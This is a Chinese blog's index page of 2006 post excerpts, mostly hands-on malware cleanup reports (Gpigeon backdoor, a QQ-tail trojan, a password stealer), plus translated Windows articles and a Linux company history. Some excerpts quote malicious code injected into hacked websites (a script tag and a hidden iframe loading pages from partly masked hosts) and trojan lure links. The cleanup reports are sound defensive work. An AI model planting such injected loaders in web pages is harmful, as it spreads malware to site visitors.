`
mixer_a
  • 浏览: 344249 次
社区版块
存档分类
最新评论
文章列表

抓住一只“肥”灰鸽子Backdoor.Win32.Hupigon.cpf(第2版)

endurer　原创2006-10-09 第2版 补充Kaspersky的反应。2006-10-06 第1版 有位网友，说电脑工作不正常，让偶帮忙检查看看。 到 http://endurer.ys168.com 下载 HijackThis 扫描log，发现可疑项： /--------Logfile of HijackThis v1.99.1Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180) O23 - Service: Background Intelli ...

抓到一只灰鸽子和一匹木马/广告程序

endurer　原创2006-10-05 第1版 有一位网友的电脑，最近电脑开机时瑞星会报告发现顽固的灰鸽子 Backdoor.Gpigeon.uql 到 http://endurer.ys168.com 下载 HijackThis 扫描log，发现可疑项： /-----------O23 - NT 服务: Remote Packet Capture Protocol v.0 (experimental) (rpcapd)-Unknown owner - %ProgramFiles%/WinPcap/rpcapd.exe" -d -f "%ProgramFiles%/ ...

修改Windows XP中的Administrator帐户名

Renaming the Administrator account in Windows XP修改Windows XP中的Administrator帐户名 by Greg Shultz作者：Greg Shultz翻译：Endurer Keywords: Microsoft Windows | Windows XP | Hacking 关键字：微软视窗 | Windows XP | Hacking 英文来源：http://articles.techrepublic.com.com/5100-10877-6112906.html?tag=nl.e064 Takeaway: Make i ...

[2006-04-28]手工清除灰鸽子新变种（第5版）

endurer　原创 2006-04-28　第5版　补充了Kaspersky对svchosts.DLL和svchostsKey.DLL的反应2006-03-28　第4版　补充了Kaspersky对svchosts.EXE的反应2006-03-23　第3版　做了一些总结2006-03-22　第2版　补充了瑞星为灰鸽子的DLL文件定义的病毒名大家可以留言　或者　到瑞星卡卡社区反病毒论坛的贴：【原创】手工查杀灰鸽子新变种Backdoor.Gpigeon.wzo　中进行讨论。2006-03-21　第1版 这个灰鸽子新变种是在 清除QQ尾巴yuuikkj.EXE 的过程中发现的。 当时用Ic ...

蓝点：一家本土Linux企业的跌宕浮沉（下）

　　刘易之的目的很明确，就是要让蓝点与元征捆绑在一起，两公司互相借势，共同壮大。"我并不希望蓝点成为元征的附庸，而是希望几年以后，蓝点能成为中国乃至全球Linux应用卓越的公司。" 　　2002年以后，蓝点 ...

蓝点：一家本土Linux企业的跌宕浮沉（中）

来自：Linux fans　 　　事实上，无论是中软还是红旗，都早在2000年前后就开始了Linux在嵌入式领域的技术研发，虽然这部分产品在这两个企业中目前都占不到总业务量的20％，但一些成功的产品已经推出，红旗有机顶盒、PDA、瘦 ...

蓝点：一家本土Linux企业的跌宕浮沉（上）

来自：Linux fans 　　2001年7月，一家由几个20岁刚出头的少年创立的中文Linux公司，成立半年后就在美国纳斯达克"金榜题名"，上市第一天，股价上涨400%，市值超过4亿美元。这家名不见经传的叫作蓝点的公司，就像一位一夜成名的青年才俊，春风得意。 　　可是，3年后的2003年7月，正当Linux商业在全球勃兴之时，蓝点却陷入了空前的低潮。作为国内从事中文Linux商业开发最早的企业，蓝点股价在纳斯达克却一路狂泻，到2002年前后，每股已从最高时的22美元直落到0．08美分的低点。 　　联想到今年年初美国同样一家知名Linux企业SCO公司的遭遇 ...

[2006-03-23]手工查杀QQ尾巴yuuikkj.exe（Kaspersky报为-Trojan-Proxy.Win32.Agent.iu，瑞星报为Trojan.QQ.MsgSender.ao）(第4版)

endurer　原创 2006-03-23 第4版　整理补充 2006-03-22 第3版　补充：回忆查杀灰鸽子过程的文章连接 2006-03-21 第2版　补充：该病毒自动发送的信息及图片 2006-03-21 第1版 该QQ尾巴会自动发送： 这部电影看过了么hxxp://218.88.133.203:22404 这本书里有个故事，看了你一定有惊奇的发现hxxp://218.88.133.203:22404 刚刚在聊天室抓下来的东东，不容易才搞到的哦hxxp://218.88.133.203:22404 我想和你视屏，你先看看这个，能看到我的录象hxxp://www5.qq ...

[2006-03-22]又发现一个带毒网站（第3版）

endurer　原创 2006-03-22　第3版　补充：瑞星对afu.gif的回复。2006-03-16　第2版　补充：Kaspersky对afu.gif的反应。2006-03-14　第1版 首页被插入代码: ＜script language="javascript" src="http://www.***3core.com/images/gif.js"＞ http://www.***3core.com/images/gif.js的代码为： document.write("＜iframe src=http ...

抓获doc文档杀手Trojan.Dockiller.b（第1版）

endurer　原创 2006-03-18　第1版 刚才帮一位朋友弄打印机，顺手到http://endurer.ys168.com下载HijackThis扫描，除了发现雅虎助手，一搜工具条，新浪点点通，新浪下载助手，3721中文邮，DuDu等讨厌的东东外，还有一项： O4 - HKLM/../Run: [OFFICE] C:/WINDOWS/system/order.exe 引起了我的注意，找到文件一看，不仅文件用的图标与Word相同，连文件属性里的说明也与Word相似。不是一个好东东。 到http://endurer.ys168.com下载“瑞星杀毒助手”，使 ...

遇到Trojan-PSW.Win32.Agent.i（第2版）

endurer　原创 2006.03.20　第2版　补充瑞星的回复。2006.03.16　第1版 今天帮同事清理电脑，用HijackThis扫描，发现如下需要修复的项目： O3 - Toolbar: (no name) - {0E1230F8-EA50-42A9-983C-D22ABC2EED3B} - (no file) O4 - HKLM/../Run: [foxdh] C:/WINDOWS/Syst ...

解开Windows的Administrator帐号的两个疑问

Debunking two myths about the Windows administrator account解开Windows的Administrator帐号的两个疑问 by Michael Mullins CCNA, MCP作者:Michael Mullins CCNA, MCP翻译:endurer 英文来源：http://techrepublic.com.com/5100-1009_11-6043016.html?tag=nl.e101 Keywords: Microsoft Windows | Security | Windows 2000 | Microsoft Serv ...

又一个带毒的政府网站（第3版）

endurer　原创 2006-03-11　第3版 补充：卡巴斯基将1.js报为:Trojan-Downloader.Win32.Delf.aet2006-03-10　第2版 补充：瑞星将1.js报为:Trojan.DL.Agent.fek2006-03-09　第1版 该网站首页被加入代码： 〈iframe height=0 width=0 src="hxxp://bbs.***gament.net/4/4.htm"〉〈/iframe〉 hxxp://bbs.***gament.net/4/4.htm的内容为： 〈script langua ...

遭遇Trojan.PSW.Lmir等病毒（第4版）

endurer　原创 2006-03-16　第4版 补充Kaspersky对a.exe的反应。2006-03-14　第3版 补充江民回复：setup.exe不是病毒。2006-03-11　第2版 补充了具体处理过程2006-03-10　第1版 　　昨天，一位朋友打电话来说，他的电脑出了问题，总提示出错，无法使用。 　　我教他进入安全模式检查看看。过了一会，他打电话来说已经在安全模式下用什么助手的系统修复功能，还是不行，让我帮忙看看。 　　朋友的电脑比较老，使用的是Win 98。进入桌面后不断提示Explorer.exe出错，想正常关机都不行。 　　按Reset按钮，强制重新启动，按F8 ...

编程使用系统热键{定时器SetTimer()和GetAsyncKeyState()}

GetAsyncKeyState()=========================功能：确定用户当前是否按下了键盘上的一个键原型：SHORT GetAsyncKeyState(int vKey);参数：nVirtKey指出要检查键的虚键代码。结果的高位指出该键当前是否被按下（是为1，否为0）。常用键的VK值：VK_SHIFT Shift键VK_LSHIFT 左Shift键VK_RSHIFT 右Shift键VK_CONTROL Ctrl键VK_LCONTROL 左Ctrl键VK_RCONTROL 右Ctril键VK_MENU Alt键VK_LMENU 左Alt键VK_RMENU 右Alt键VK ...
Global site tag (gtag.js) - Google Analytics